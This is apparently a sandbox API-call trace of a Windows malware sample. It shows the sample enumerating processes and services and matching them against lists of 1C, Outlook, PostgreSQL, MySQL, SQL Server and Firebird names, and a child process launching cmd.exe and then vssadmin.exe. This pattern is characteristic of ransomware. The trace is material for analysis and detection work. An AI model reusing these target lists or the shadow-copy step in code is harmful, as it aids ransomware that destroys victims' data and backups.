(lpString1="postgres.exe", lpString2="System") returned -1 [0041.865] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0041.866] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0041.866] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0041.866] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0041.866] lstrlenW (lpString="smss.exe") returned 8 [0041.866] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0041.866] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0041.866] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0041.866] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0041.866] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0041.866] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0041.866] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0041.866] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.866] lstrlenW (lpString="csrss.exe") returned 9 [0041.866] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.866] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.866] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.866] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.866] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.866] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.867] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0041.867] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0041.867] lstrlenW (lpString="wininit.exe") returned 11 [0041.867] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0041.867] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0041.867] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0041.867] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0041.867] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0041.867] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0041.867] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0041.867] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0041.867] lstrlenW (lpString="csrss.exe") returned 9 [0041.867] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0041.867] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0041.867] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0041.867] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0041.867] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0041.867] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0041.869] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0041.870] lstrlenW (lpString="winlogon.exe") returned 12 [0041.870] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0041.871] lstrlenW (lpString="services.exe") returned 12 [0041.871] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0041.871] lstrlenW (lpString="lsass.exe") returned 9 [0041.871] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0041.871] lstrlenW (lpString="lsm.exe") returned 7 [0041.871] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.872] lstrlenW (lpString="svchost.exe") returned 11 [0041.872] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.872] lstrlenW (lpString="svchost.exe") returned 11 [0041.872] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.872] lstrlenW (lpString="svchost.exe") returned 11 [0041.872] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.872] lstrlenW (lpString="svchost.exe") returned 11 [0041.873] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.873] lstrlenW (lpString="svchost.exe") returned 11 [0041.873] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0041.873] lstrlenW (lpString="audiodg.exe") returned 11 [0041.873] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.873] lstrlenW (lpString="svchost.exe") returned 11 [0041.873] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.874] lstrlenW (lpString="svchost.exe") returned 11 [0041.874] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0041.874] lstrlenW (lpString="dwm.exe") returned 7 [0041.874] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0041.874] lstrlenW (lpString="explorer.exe") returned 12 [0041.874] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0041.874] lstrlenW (lpString="spoolsv.exe") returned 11 [0041.875] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.875] lstrlenW (lpString="taskhost.exe") returned 12 [0041.875] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0041.875] lstrlenW (lpString="svchost.exe") returned 11 [0041.875] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0041.875] lstrlenW (lpString="taskeng.exe") returned 11 [0041.875] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0041.876] lstrlenW (lpString="taskhost.exe") returned 12 [0041.876] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="poland_holmes_bryant.exe")) returned 1 [0041.876] lstrlenW (lpString="poland_holmes_bryant.exe") returned 24 [0041.876] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explicit-much-possibilities.exe")) returned 1 [0041.876] lstrlenW (lpString="explicit-much-possibilities.exe") returned 31 [0041.876] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="frankfurtextensivewv.exe")) returned 1 [0041.876] lstrlenW (lpString="frankfurtextensivewv.exe") returned 24 [0041.876] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dramatic-idle.exe")) returned 1 [0041.877] lstrlenW (lpString="dramatic-idle.exe") returned 17 [0041.877] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="britannicaconsultdemocracy.exe")) returned 1 [0041.877] lstrlenW (lpString="britannicaconsultdemocracy.exe") returned 30 [0041.877] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ecagreedreceipt.exe")) returned 1 [0041.877] lstrlenW (lpString="ecagreedreceipt.exe") returned 19 [0041.877] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="toyota.exe")) returned 1 [0041.878] lstrlenW (lpString="toyota.exe") returned 10 [0041.878] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="radiation.exe")) returned 1 [0041.883] lstrlenW (lpString="radiation.exe") returned 13 [0041.883] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="club-dividend-responses.exe")) returned 1 [0041.884] lstrlenW (lpString="club-dividend-responses.exe") returned 27 [0041.884] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ur illustration.exe")) returned 1 [0041.884] lstrlenW (lpString="ur illustration.exe") returned 19 [0041.884] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="facing.exe")) returned 1 [0041.884] lstrlenW (lpString="facing.exe") returned 10 [0041.884] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="freewarefrontpage.exe")) returned 1 [0041.884] lstrlenW (lpString="freewarefrontpage.exe") returned 21 [0041.884] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asking_pennsylvania.exe")) returned 1 [0041.885] lstrlenW (lpString="asking_pennsylvania.exe") returned 23 [0041.885] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0041.885] lstrlenW (lpString="headline.exe") returned 12 [0041.885] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0041.885] lstrlenW (lpString="army_unsigned.exe") returned 17 [0041.885] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0041.885] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0041.886] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0041.886] lstrlenW (lpString="distribution-gif.exe") returned 20 [0041.886] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0041.886] lstrlenW (lpString="tribunal.exe") returned 12 [0041.886] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0041.886] lstrlenW (lpString="aafeof.exe") returned 10 [0041.886] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0041.887] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0041.887] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0041.887] lstrlenW (lpString="encryption.exe") returned 14 [0041.887] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0041.887] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0041.887] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0041.887] lstrlenW (lpString="dllhost.exe") returned 11 [0041.888] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0041.888] lstrlenW (lpString="dllhost.exe") returned 11 [0041.888] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0041.888] lstrlenW (lpString="1с_.exe") returned 7 [0041.888] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0041.888] lstrlenW (lpString="cmd.exe") returned 7 [0041.888] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0041.889] lstrlenW (lpString="conhost.exe") returned 11 [0041.889] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0041.889] lstrlenW (lpString="vssadmin.exe") returned 12 [0041.889] Process32NextW (in: hSnapshot=0x16c, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0041.889] CloseHandle (hObject=0x16c) returned 1 [0041.889] Sleep (dwMilliseconds=0x1f4) [0042.799] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58fb50 [0042.799] EnumServicesStatusExW (in: hSCManager=0x58fb50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0042.799] GetLastError () returned 0xea [0042.800] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x11e4) returned 0x55e048 [0042.800] EnumServicesStatusExW (in: hSCManager=0x58fb50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e048, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e048, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0042.800] CloseServiceHandle (hSCObject=0x58fb50) returned 1 [0042.800] lstrlenW (lpString="Appinfo") returned 7 [0042.800] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0042.800] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0042.800] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0042.800] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0042.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0042.801] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0042.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0042.801] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0042.801] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0042.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0042.801] lstrlenW (lpString="AudioSrv") returned 8 [0042.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0042.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0042.801] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0042.801] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0042.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0042.801] lstrlenW (lpString="BFE") returned 3 [0042.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0042.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0042.801] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0042.801] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0042.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0042.801] lstrlenW (lpString="CryptSvc") returned 8 [0042.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0042.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0042.801] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0042.801] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0042.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0042.801] lstrlenW (lpString="CscService") returned 10 [0042.801] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0042.801] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0042.801] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0042.801] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0042.801] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0042.801] lstrlenW (lpString="DcomLaunch") returned 10 [0042.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.802] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0042.802] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0042.802] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0042.802] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0042.802] lstrlenW (lpString="Dhcp") returned 4 [0042.802] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0042.802] 